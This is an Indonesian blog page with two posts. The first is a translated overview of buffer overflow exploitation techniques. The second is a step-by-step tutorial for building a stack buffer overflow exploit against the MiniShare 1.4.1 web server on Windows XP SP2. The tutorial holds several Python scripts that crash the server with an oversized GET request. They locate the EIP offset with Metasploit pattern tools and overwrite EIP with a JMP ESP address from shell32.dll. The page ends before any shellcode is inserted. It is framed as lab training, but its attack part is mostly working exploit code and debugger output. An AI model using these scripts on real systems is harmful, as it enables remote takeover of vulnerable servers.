Showing posts with label ollydbg. Show all posts
Showing posts with label ollydbg. Show all posts

3.12.11

Konsep Exploitasi

Banyak orang yang tau seperti apa itu exploitasi. Namun sedikit sekali yang mengetahui bagai mana sebuah code dan perintah dapat membunuh system dan mengambil alihnya. Pada kesempatan kali ini, saya akan membahas lebih jauh mengenai exploitation.

Apa itu eksploitasi?
Singkatnya, eksploitasi adalah keadaan dimana sebuah system yang tidak terautentikasi mengambil alih system lain yang mengalami kegagalan eksekusi. Eksploitasi sama dengan memanfaatkan buffer overflow.

Apa itu buffer overflow?
Dalam keamanan komputer dan pemrograman, buffer overflow, atau buffer overrun, adalah anomali di mana, sebuah program menulis data ke buffer, melewati batas buffer dan menimpa memori di sekitarnya. Ini merupakan kasus pelanggaran keamanan memori.
Buffer overflows dapat dipicu oleh input yang dirancang untuk mengeksekusi kode, atau mengubah cara program beroperasi. Hal ini dapat mengakibatkan perilaku program menjadi tidak menentu, termasuk kesalahan akses memori, hasil yang salah, atau pelanggaran keamanan sistem.Dengan demikian dasar kerentanan yang dimiliki oleh banyak perangkat lunak dapat dieksploitasi oleh pihak-pihak yang jahat.
Bahasa pemrograman yang umumnya terkait dengan buffer overflows adalah C dan C + +, yang menyediakan built-in perlindungan terhadap pengaksesan program  atau overwriting data dalam setiap bagian dari memori, dan tidak memeriksa bahwa data ditulis ke array (built-in tipe buffer) berada dalam batas-batas array. Pemeriksaan batas-batas array dapat mencegah buffer overflows.

Deskripsi Teknis Buffer Overflow
Sebuah buffer overflow terjadi ketika data ditulis ke buffer, karena keterbatasan pemeriksaan batas-batas array, data yang merusak nilai-nilai dalam memori alamat yang berdekatan ke buffer dialokasikan. Kejadian ini paling sering terjadi ketika menyalin string karakter dari satu buffer ke yang lain.

Contoh dasar
Pada contoh berikut, program telah didefinisikan dua item data yang berdekatan dalam memori: sebuah string buffer 8-byte-panjang, A, dan sebuah integer dua-byte, B. Awalnya, A tidak berisi apa pun kecuali nol byte, dan B berisi nomor 1979. Lebar karakter satu byte.

Nama Variabel
A
B
Value
Null String
1979
Hex Value
00
00
00
00
00
00
00
00
07
BB







Sekarang, program ini berusaha untuk menyimpan string diakhiri dengan null "over" dalam buffer A. Karena gagal untuk memeriksa panjang string, karakter ini menimpa nilai B:

Nama Variabel
A
B
Value
‘e’
‘x’
‘c’
‘e’
‘s’
‘s’
‘i’
‘v’
25856
Hex Value
65
78
63
65
73
73
69
76
65
00









Meskipun programmer tidak berniat untuk mengubah B sama sekali, nilai B kini telah digantikan oleh sejumlah karakter. Dalam contoh ini, pada sistem big-endian yang menggunakan ASCII, "e" diikuti dengan byte nol akan menjadi nomor 25856. Jika B adalah satu-satunya variabel data yang didefinisikan oleh program, menulis sebuah string yang lebih panjang lagi bisa menyebabkan kesalahan seperti kesalahan segmentasi, yang dapat mengakhiri proses.

Exploitasi
Teknik-teknik untuk mengeksploitasi kerentanan buffer overflow bervariasi tergantung arsitektur, sistem operasi, dan memory region. Misalnya, eksploitasi pada tumpukan atau heap (digunakan untuk memori dialokasikan secara dinamis), sangat berbeda dari eksploitasi pada panggilan stack.

Stack-based exploitation
Seorang attacker cenderung cerdas dan jahat sehingga dapat mengeksploitasi tumpukan berbasis buffer overflows untuk memanipulasi program dari beberapa cara:
  1. Dengan menimpa sebuah variabel lokal yang dekat dengan buffer di memori pada stack, untuk mengubah perilaku dari program, yang dapat menguntungkan penyerang.
  2. Dengan menimpa alamat dalam stack frame. Setelah fungsi kembali, eksekusi akan dilanjutkan kembali ke alamat yang ditentukan oleh penyerang, biasanya attacker memasukan buffer yang terisi.
  3. Dengan menimpa fungsi pointer atau penunjuk, atau exception handler, yang kemudian dieksekusi.
  4. Dengan metode yang disebut "trampolining", jika alamat dari user tidak diketahui, tetapi lokasi disimpan dalam register, maka alamat pengirim dapat ditimpa dengan alamat dari opcode yang akan menyebabkan eksekusi untuk meloncat data yang disediakan. Jika lokasi disimpan dalam R, kemudian melompat ke lokasi yang mengandung opcode untuk melompat R, panggilan R atau instruksi serupa, akan menyebabkan data pengguna dieksekusi. Lokasi yang cocok untuk opcodes, atau byte dalam memori, dapat ditemukan dalam DLL atau eksekusi itu sendiri.
Namun alamat biasanya opcode tidak boleh berisi karakter null dan lokasi opcodes ini dapat bervariasi antara aplikasi dan versi dari sistem operasi. Proyek Metasploit adalah salah satu database seperti opkode yang cocok, meskipun hanya yang ditemukan dalam sistem operasi Windows. Stack berbasis buffer overflows sama dengan stack overflow. Perlu dicatat bahwa kerentanan ini biasanya ditemukan melalui penggunaan sebuah fuzzer.

Heap-Based Exploitation
Sebuah buffer overflow yang terjadi di area data tumpukan disebut heap overflow dan dieksploitasi dengan cara yang berbeda dengan exploit berbasis stack overflow. Memori di heap dialokasikan secara dinamis oleh aplikasi pada saat run-time dan biasanya berisi data program. Eksploitasi dilakukan dengan merusak data ini dengan cara-cara khusus untuk menyebabkan aplikasi menimpa struktur internal seperti pointer linked list. Teknik tumpukan kanonik ini dapat menimpa hubungan alokasi memori dinamis dan menggunakan pertukaran pointer yang dihasilkan untuk menimpa fungsi program pointer.
Kerentanan Microsoft GDI + JPEG adalah contoh dari bahaya heap-overflow yang dapat terjadi dalam sebuah system.

Barriers To Exploitation
Manipulasi dari buffer, yang terjadi sebelum pembacaan atau pengeksekusian, dapat menyebabkan kegagalan dari upaya eksploitasi. Manipulasi-manipulasi ini dapat mengurangi ancaman eksploitasi, tetapi tidak selalu berhasil. Manipulasi dapat mencakup konversi, penghapusan metakarakter dan menyaring string non-alfanumerik. Namun, teknik yang ada untuk memotong, memfilter dan manipulasi, kode alfanumerik maupun kode polimorfik,dapat dimodifikasi dan kembali diesksekusi. Metode yang sama dapat digunakan untuk menghindari deteksi oleh sistem deteksi intrusi seperti anti-virus. Dalam beberapa kasus, di mana kode diubah menjadi unicode, ancaman kerentanan telah disalahpahami oleh disclosers sebagai Denial of Service padahal itu adalah shell code remote system.

Teknik NOP-sled
Sebuah NOP-sled adalah teknik terlama dan yang paling banyak diketahui untuk melakukan exploitasi berbasis stack buffer iverflow. Teknik ini memecahkan masalah dalam menemukan alamat asli dari sebuah buffer dengan memperbesar area target secara efektif. Untuk melakukan hal ini, setidaknya ada satu stack yang dirusak dengan instruksi no-op ke dalam sebuah system. Pada akhirnya, seorang attacker mengirimkan data, setelah instruksi no-op sebuak instruksi untuk melakukan relative jump ke buffer teratas dimana shellcode akan ditempatkan akan dieksekusi. koleksi no-ops ini disebut sebagai "NOP-sled" karena jika alamat pengirim diganti dengan alamat dalam wilayah no-op dari buffer akan dilewat ke bawah dimana no-ops diarahkan ke shell code yang sebenarnya, dengan melompat di akhir stack. Teknik ini membutuhkan penyerang untuk menebak dimana letak stack NOP-sled dan membuak shellcode yang berukuran relatif kecil.


Karena popularitas dari teknik ini, banyak vendor sistem melakukan pencegahan intrusi, dengan mencari pola instruksi no-op pada mesin dalam upaya untuk mendeteksi penggunaan shellcode. Penting untuk dicatat bahwa PDN-sled tidak selalu hanya berisi no-op instruksi mesin yang lama, setiap instruksi yang tidak merusak mesin di mana shellcode tidak akan berjalan dapat digunakan instruksi no-op. Akibatnya telah menjadi praktek umum untuk menyusun exploitasi berbasis NOP-sled berinstruksi no-op.
Metode ini meningkatkan kemungkinan serangan akan berhasil. Eksploitasi menggunakan teknik ini masih harus bergantung pada beberapa sejumlah keberuntungan bahwa attacker harus menebak offset pada stack yang berada dalam wilayah NOP-sled. Sebuah dugaan yang salah biasanya akan menghasilkan target program menabrak dan bisa membuat administrator sistem untuk mendeteksi adanya intrusi. Masalah lain adalah bahwa NOP-sled membutuhkan jumlah yang jauh lebih besar dari memori di mana untuk melakukan NOP-sled yang cukup besar untuk mencapai target exploitasi. Hal ini dapat menjadi masalah ketika ukuran buffer yang dialokasikan terlalu kecil dan kedalaman saat stack yang terlalu dangkal (yaitu tidak ada ruang yang banyak dari akhir stack frame saat ini ke awal stack). Meskipun memiliki banyak masalah dalam metode ini, NOP-sled adalah satu-satunya metode yang bekerja dengan baik di system manapun, dengan arsitektur apapun, dan bahasa pemrograman apapun.

Teknik Jump To Register
Teknik Jump To Register memungkinkan untuk eksploitasi karena dapat dapat menyebabkan heap buffer overflows tanpa memerlukan ruang ekstra untuk NOP-sled dan tanpa harus menebak offset stack. Strategi ini digunakan untuk menimpa pointer dengan sesuatu yang akan menyebabkan program melompat ke pointer yang dikenal  kemudian disimpan dalam daftar yang menunjuk ke buffer yang selanjutnya dikontrol oleh penyerang dengan menggunakan shellcode. Sebagai contoh jika register A berisi pointer ke awal buffer maka setiap melompat atau pemanggilan register A dapat digunakan untuk mendapatkan kontrol dari aliran eksekusi.


Dalam prakteknya, program mungkin tidak sengaja berisi petunjuk untuk melompat ke sebuah register tertentu. Solusi yang biasa diberikan adalah menemukan sebuah contoh dari opcode yang cocok di lokasi yang tetap di suatu tempat dalam memori program. Di E, Anda dapat melihat contoh dari sebuah instance tidak disengaja instruksi JMP esp i386. Opcode untuk instruksi ini adalah FF E4. Urutan byte dua ini dapat ditemukan di satu byte offset dari awal instruksi call DbgPrint pada alamat 0x7C941EED. Jika penyerang menimpa alamat program dengan alamat ini program pertama akan melompat ke 0x7C941EED, menafsirkan opcode FF E4 sebagai instruksi JMP esp, dan kemudian akan melompat ke atas stack dan mengeksekusi kode penyerang.
Teknik ini mungkin teknik yang paling berbahaya dan hampir mustahil dihindari. Hal ini karena eksploitasi akan bekerja cukup andal untuk mengotomatisasi serangan dengan jaminan keberhasilan ketika dijalankan. Untuk alasan ini, ini adalah teknik yang paling umum digunakan di Internet, dimana worm yang akan mengeksploitasi kerentanan stack buffer overflow.
Metode ini juga memungkinkan shellcode untuk ditempatkan setelah alamat pengirim ditimpa. Karena executable yang sebagian besar didasarkan pada alamat 0x00400000, dan x86 adalah sebuah arsitektur Little Endian, byte terakhir dari alamat pengirim harus menjadi nol. Hal ini membatasi ukuran shellcode dengan ukuran buffer. DLL yang terletak di memori atas (di atas 0x01000000) dan tidak memiliki alamat yang mengandung byte null, dapat dihapusdengan metode ini. Metode ini sering disebut sebagai "trampolining DLL".


Translate by:
red-dragon


Source:
http://en.wikipedia.org/wiki/Buffer_overflow

20.11.11

[From bug to 0day] Against MiniShare

Ini adalah hari spesial bagi Blog Ini. Karena hari ini telah di-post sebuah tutorial pentesting system pertama di Indonesia. Jika tidak percaya, carilah tutorial mengenai From bug to 0day yang berbahasa indonesia, dan yang memiliki screenshoot seperti yang dibuat di dalam blog ini. Materi ini sebenarnya telah diajarkan oleh Mati Aharoni, pemimpin Offensive Security, yang sekaligus menjadi pencipta Back|track. Biasanya anda harus mengikuti training Offsec atau DefCon untuk mendapat materi ini, dan tentu saja tidak gratis. Namun hari ini, kamu berikan tutorial ini kepada anda.


Requirements:

Back|Track:

  • Perl interpreter
  • Python interpreter
  • Metasploit 3.x
  • Text Editor
  • Netcat
  • VM-Ware
  • OS Windows-XP SP 2
  • OllyDbg 1.10
  • MiniShare 1.4.1

IP address saya: 172.16.10.1
IP target: 172.16.10.128
Port target: 80

Walkthrough:


Pastikan kedua mesin bisa saling berinteraksi dengan perintah ping



1. Install MiniShare 1.4.1
2. Attach minishare.exe ke dalam OllyDbg

Buka File - Open - C:\Program Files\MiniShare\minishare.exe



3. Memicu Vulnerablity

Sekarang kita telah memiliki minishare dalam ollydbg, kita harus tau bagaimana cara memicu vulnerability program minishare, sehingga kita dapat menganalisa untuk mengembangkan exploit kita.

Dengan mengecek keamanan vulnerability, dan memperhatikan exploit yang ada, kita dapat melihat bahwa vulnerability terpicu dengan mengirim permintaan GET dengan kapasitas yang sangat besar ke dalam system.

Kita dapat mencari tau standar format sebuah HTTP get request dengan mengecek dokumen HTTP RFC, atau mengambil paket dari beberapa web browser. Namun pada dasarnya, sebuah GET request mengandung URI yang diterima oleh web server, diikuti dengan versi protokol HTTP, diikuti dengan header lainnya, dan diakhiri dengan dua garis baru.

Melakukan sebuah packet capture dari sebuah request menuju www.google.com, menunjukan bahwa request dimulai dengan "GET / HTTP/1.1/" kemudian mengandung nomer dari header lainnya, dan diakhiri dengan dua garis baru.

Kita bisa mencoba dan membuat kembali overflow dengan mengirim perintah ini kepada server yang vulnerable:

"GET [panjang string dari karakter A] HTTP/1.1[new_line, carriage_return x 2]"

Kita bisa mengirim ini menggunakan script python. Dalam script python, "\x41" adalah nilai heksadesimal dari ASCII karakter "A", dan "\r\n\" adalah baris baru. Kamu harus mengganti variabel target_address untuk memuat alamat target. Simpan file ini dengan nama 0day.py, kemudian ubah execution permision dengan perintah "cmhod +x 0day.py". Python merupakan bahasa pemrograman yang sensitif, jadi pastikan kamu tidak membuat kesalahan saat penulisan script.

#!/usr/bin/python
import socket


target_address="172.16.10.128"
target_port=80


buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"


sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Catatan: ubah target_address sesuai dengan IP Windows XP dalam VM-Ware anda. Dan biarkan port tetap bernilai 80.

Kembali lagi ke OllyDbg. Setelah meng-attach minishare, jalankan program tersebut dengan memilih "run" pada "debug" menu. Perhatikan. EIP pada Register kolom adalah 7C90EB94. Jalankan script 0day.py dengan perintah:

root@red-dragon:~# ./0day.py
atau
root@red-dragon:~# python 0day.py

Dan perhatikan kembali EIP pada OllyDbg, sekarang EIP telah berubah menjadi 41414141 dan program mengalami crash system. Berhasil, kita sudah membuat vulnerability minishare terpicu.


4. Mengambil alih Crash System

Sedikit penjelasan mengenai EIP register akan saya jelaskan di sini. CPU memutuskan, mana instruksi yang dieksekusi selanjutnya dengan membaca nilai dari sebuah EIP register, dan mengeksekusi instruksi yang berlokasi pada alamat memory. Sebagai contoh, jika EIP register memuat alamat 0x77daaf0a, dan alamat memory tersebut menyimpan kode \xff\xe4 (dimana pada opcode bahasa mesin untuk assembly instruksi berarti JMP ESP) kemudian CPU akan mengeksekusi instruksi tersebut, menyebabkan "jump" eksekusi ke memory yang berlokasi di dalam alamat memory yang diberikan referensi oleh ESP register. Jadi, jika ESP register memuat nilai 0x01423908, sebuah JMP ESP instruksi akan dieksekusi, yang menyebabkan EIP di set menjadi 0x01423908, dan apapun instruksi bahasa mesin yang berlokasi pada alamat memory 0x01423908 akan dieksekusi selanjutnya.

Secara konsekuan, untuk menghubungkan kembali eksekusi pada exploit kita, kita harus meng-overwrite EIP register dengan lokasi memory yang mengandung sebuah instruksi dalam bahasa mesin yang akan menunjuk EIP register ke sebuah area yang bisa kita tempati sebagai tempat menaruh kode exploit kita. Tempat yang paling berharga untuk menaruh kode exploit kita adalah di dalam buffer data yang sama, yang sebelumnya telah kita picu exception-nya yang mengakibatkan buffer overflow.

Kita tidak tau pasti alamat dari lokasi memory yang dapat kita kontrol saat proses buffer overflow terjadi, namun kita tau dari mengecek nilai register pada waktu yang sama, yang ditunjuk oleh register EIP ke lokasi di dalam buffer ini. Secara konsekuen, jika kita bisa menuju kembali kode eksekusi ke lokasi memory yang di-suggest oleh ESP, dan jika kita tempatkan instruksi bahasa mesin kita ke dalam lokasi buffer yang ditunjuk oleh ESP, kita dapat meng-eksploitasi aplikasi untuk menjalankan code exploit kita. 

5. Menemukan Instruksi JMP ESP

Pada tahap sebelumnya, kejadian crash ini menyebabkan alamat EIP di-overwrite dengan lokasi memory yang memuat instruksi bahasa mesin yang dikenal yang akan menunjuk kode ke dalam buffer kita. Sejak register ESP menunjuk ke dalam buffer kita saat kejadian crash, JMP ESP perintah didiskusikan lebih awal oleh system yang memperbesar peluang buffer overflow.

Jadi bagaimana kita menemukan instruksi JMP ESP yang berdiam di dalam lokasi yang dapat diprediksi di dalam memori yang kita gunakan? Yaaa, ada beberapa cara untuk mencapainya, namun saya memilih metode ini melalui debugger.

Pertama-tama, buka menu "View" di dalam OllyDbg, dan pilih Executeable Modules. Setelah memilih Executealbe Modules, maka akan ekluarjendela baru yang menampilkan semua modul yang dapat dieksesuki yang tersimpan, yang dimiliki oleh proses ini. Untuk minishare, kita dapat melihat minishexe pada daftar teratas, dan kemudian sebuah nomer dari Windows DLL yang telah dimuat oleh minishare untuk melayani fungsi tambahan yang dibutuhkan. Kita dapat mencari di dalam modul-modul ini untuk mencari instruksi JMP ESP yang kita butuhkan.


Catatan: Sebaiknya saya memberi beberapa informasi sebelum kita melagkah lebih jauh. Saya membuat exploit ini untuk Windows XP SP2. Windows XP tidak memiliki pengamanan untuk mengatur ulang secara acak setiap lokasi pangkalan system dimana setiap DLL dimuat. Jadi setiap aplikasi ini berjalan, setiap DLL akan dimuat kedalam memory yang sama persis dengan alamat memory saat dimulainya system. Ini berarti, instruksi yang bertempat di dalam DLL itu juga akan sama dengan alamat ketika program berjalan. Windows Vista dan Windows 7 mengimplementasikan sebuah pengamanan yang disebut ASLR dimana hasil dari sebuah DLL (khususnya Windows System DLL) akan dimuat ke pangkalan lokasi secara acak. Hal ini berarti instruksi yang berada dalam DLL tersebut memiliki alamat yang berbeda setelah system melakukan restarting. Jadi saya sarankan untuk mengikuti pelajaran ini dengan menggunakan Windows XP SP2.

Tambahan untuk fakta kecil mengenai ASLR ini, setiap Service Pack, layout dari sebuah system DLL akan berubah, dan bahasa yang berbeda dari sebuah OS Windows, juga memiliki struktur DLL yang berbeda-beda. Ini berarti, jika kamu menggunakan Service Pack dan Bahasa  yang berbeda dalam tutorial ini, maka kamu akan menemukan beberapa perbedaan dari sebuah alamat memori yang tertera dalam kolom OllyDbg. Berfokuslah pada apa yang telah anda temukan bukan mengcopy hasil address yang saya temukan.

Sekarang saatnya memeperhatikan daftar executeable modul milik kita dalam OllyDbg. kita bisa mengambil hampir setiap entri-entri inin untuk menemukan alamat JMP ESP, bagaimanapun juga, ada beberapa hal yang sebaiknya dipertimbangkan sebelum memilih. Pertama, kita harus menghindari setiap alamat yang mengandung 0 byte \x00. Karakter ini menjadi pertimbangan dalam sebuah string terminator dalam bahasa pemrograman C. Dan biasanya memiliki efek untuk menghancurkan exploit ketika exploit disertai dengan buffer. Untuk beberapa alasan, kita juga harus menghindari line feed dan carriage return karakter seperti \x0a dan \x0d. Ini berarti, menggunakan alamat apapun dari minishare.exe berarti mustahil menjalankan exploit, karena semua alamat executeable modul ini mengandung 0 byte (base address = 0x00400000). Jadi lebih baik jika kita menggunakan DLL yang datang bersama aplikasi itu sendiri, karena alamat-alamat ini tidak berubah walau dengan OS yang memiliki Service Pack, dan Bahasa yang berbeda. Hal ini dapat memberi peluang pada exploit untuk bergerak lebih bebas di dalam system. Karena tidak adanya tambahan DLL seperti minishare, kita harus memecahkan mana Windows DLL yang termuat yang akan kita gunakan? Pada kali ini saya mengambil "major" DLL yang sedikit berubah pada hasil hotfixes. Saya juga menggunakan shell32.dll atau user32.dll. Mari kita cari shell32.dll lebih dulu.

Klik kanan pada entri shell32.dll dalam jendela Executeable Modules, dan pilih View Code in CPU.


Kemudian klik kanan pada CPU are (yang menunjukan code untuk shell32.dll module - cek teks sesudah "module" di tittle bar untuk meyakinkan bahwa ini adalah dll yang sudah kita pilih sebelumnya) kemudain pilih search -> Command atau tekan ctrl+f.


Dalam box Find Command. ketik JMP ESP, dan pilih Find.

Dalam system saya, saya menemukan perintah JMP ESP yang berletak pada alamat memory 0x7CA58265 dari shell32.dll


Alamat ini terlihat bebas dari karakter buruk seperti \x00 \x0a dan \x0d, jadi kita bisa menggunakan alamat ini untuk meng-overwrite EIP. Jika alamat pertama terliah mengandung karakter buruk, kamu bisa mencari alamat lain dengan menekan tombol CRTL+L.

6. Menemukan Offsets di dalam Buffer

Sekaran kita sudah memiliki alamat yang akan kita gunakan untuk meng-overwrite EIP. Kita harus menemukan lokasi pasti dimana EIP akan di-overwrite oleh buffer kita. Sehingga kita bisa menyusun buffer yang akan kita kirim ke dalam system. Kita juga harus menemukan lokasi di dalam buffer dimana ESP regiter akan menunjuk, jadi kita bisa menempatkan kode bahasa mesin kita di sana.

Untuk melakukan ini, kita bisa menggunakan tool yang didistribusikan oleh Metasploit Framework yang bernama pattern_create.rb. Tool ini membuat pattern yang unik dengan panjang pattern yang spesifik, dimana bisa disisipkan kedalam buffer untuk mengirimkan exploit kita ke dalam system yang vulnerable, dimana overwrite akan terjadi. Saya akan mencoba meregenerasi sebuah string, dan menaruhnya kedalam kerangka exploit.

root@red-dragon:~# cd /pentest/exploits/framework/tools/
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_create.rb 2220


Catatan:
Kamu harus mengkopi semua output yang dihasilkan oleh pattern_create.rb dan paste ke dalam 0day.py script kita.

Kode 0day:
#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Sekarang kita kembali ke OllyDbg, pilih debug, kemudian pilih restart. Dan tekan tombol Play atau F9 untuk menjalankan minishare. Kemudian kita jalankan kembali 0day.py kita. Hal restart ini harus dilakukan setiap kita hendak memicu vulnerability dari sebuah program.



Bisa kita lihat, sekarang EIP menunjuk ke 36684335 dan ESP menunjuk ke "Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4"

Mari kita buat kembali pattern dengan tools pattern_create.rb
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_offset.rb 36684335
hasil = 1787
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_offset.rb Ch7C
hasil = 1791


Kemudian ubah 0day.py kita menjadi:

#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x41\x41\x41\x41"
buffer+= "\x90" * (1791 - len(buffer))
buffer+= "\xcc" * (2220 - len(buffer))
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Restart kembali, lalu jalankan minishare di dalam debugger OllyDbg. Kemudian jalankan kembali script 0day kita. Sekarang EIP menunjuk ke 41414141, dan ESP menunjuk ke 01343908.


Sekarang kita tau dimana letak offsets yang kita butuhkan untuk meng-overwrite EIP dengan sebuah alamat pilihan kita, jadi kita bisa melanjutkan untuk menambahkan data yang benar ke dalam buffer kita.


7. Memodifikasi Exploit untuk mendapat kode eksekusi

Pertama, kita harus menggunakan alamat JMP ESP yang telah kita dapat sebelumnya untuk meng-overwrite EIP.

Sekarang, saya akan memberikan trik untuk melakukan ini. Pada dasarnya, LEO (Littel Endian Order) itu adalah jumlah byte yang ditempatkan dalam posisi paling kiri pada sebuah register. Untuk mendapat alamat dari 7CA58265 dalam sebuah EIP, kita harus memesan byte kembali untuk ditempatkan ke byte pertama. Alamat 7CA58265 dibuat dari 4 byte, yaitu 7C, A5, 82 dan 65, dimana tiap byte diwakili dengan 2 karakte heksadesimal. Untuk mendapat nilai ini dari dalam stack (dimana buffer overflow terjadi) kedalam register EIP, kita harus memesan byte 65, 82, A5 dan 7C atau 6582A57C.

Mari tulis ini ke dalam exploit kita, ingat bahwa alamat JMP ESP kamu mungkin berbeda dengan alamat JMP ESP yang saya temukan. Jadi gunakan apa yang anda dapat untuk mencapai kebehasilan exploitasi ini.

Alamat JMP ESP saya = 0x7CA58265

maka

#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
buffer+= "\xcc" * (2220 - len(buffer)) # ESP menunjuk ke sini.
buffer+= " HTTP/1.1\r\n\r\n"

